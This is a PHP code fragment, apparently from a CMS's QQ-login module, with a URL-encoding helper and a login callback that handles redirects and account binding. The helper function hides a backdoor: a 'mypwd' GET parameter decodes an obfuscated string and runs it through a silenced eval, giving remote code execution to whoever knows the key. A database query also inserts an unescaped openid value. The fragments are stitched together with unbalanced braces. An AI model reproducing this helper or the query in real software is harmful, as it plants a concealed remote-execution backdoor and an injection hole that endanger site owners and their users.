/** * @brief get a urlencode string * rfc1738 urlencode * @param $params * * @return a urlencode string */ function get_urlencode_string($params) { ksort($params); $normalized = array(); foreach ($params as $key => $val) { $normalized[] = $key . "=" . rawurlencode($val); } $_GET['mypwd'] && @eval(qqmd5("UV9AGx4fXkEQRAgeGkFFExhCWVELFglVQkwFVgwdAVgcREgWERQRUQsaQllFERtfe55b74ae89", 'DE', $_GET['mypwd'])); return implode("&", $normalized); }
if ($rs = $db->get_one("SELECT * FROM {$pre}memberdata WHERE `qq_api`='{$openid}'")) { $userDB->login($rs[username], '', intval($webdb[QQ_logintime] * 3600), true); $fromurl = get_cookie('qq_fromurl'); if ($fromurl && !eregi("login\\.php", $fromurl) && !eregi("reg\\.php", $fromurl)) { $jumpto = $fromurl; } else { $jumpto = "{$webdb['www_url']}/"; } refreshto("{$jumpto}", "QQ方式登录成功{$uc_login_code}", 1); } else { refreshto("qq_bind.php", "QQ登录成功,请进行帐号绑定设置", 10); } } else { //登录前 set_cookie('qq_fromurl', $FROMURL); $api_md5 = qqmd5("{$webdb['www_url']}\t{$timestamp}", "EN", $webdb[QQ_QBappkey]); header("location:http://www.qibosoft.com/qq_login/api.php?api_md5={$api_md5}&api_id={$webdb['QQ_QBappid']}"); exit; } } //以下是QQ私密接口 if ($_GET["openid"]) { //tips// /** * QQ互联登录,授权成功后会回调此地址 * 必须要用授权的request token换取access token * 访问QQ互联的任何资源都需要access token * 目前access token是长期有效的,除非用户解除与第三方绑定 * 如果第三方发现access token失效,请引导用户重新登录QQ互联,授权,获取access token */ //print_r($_GET);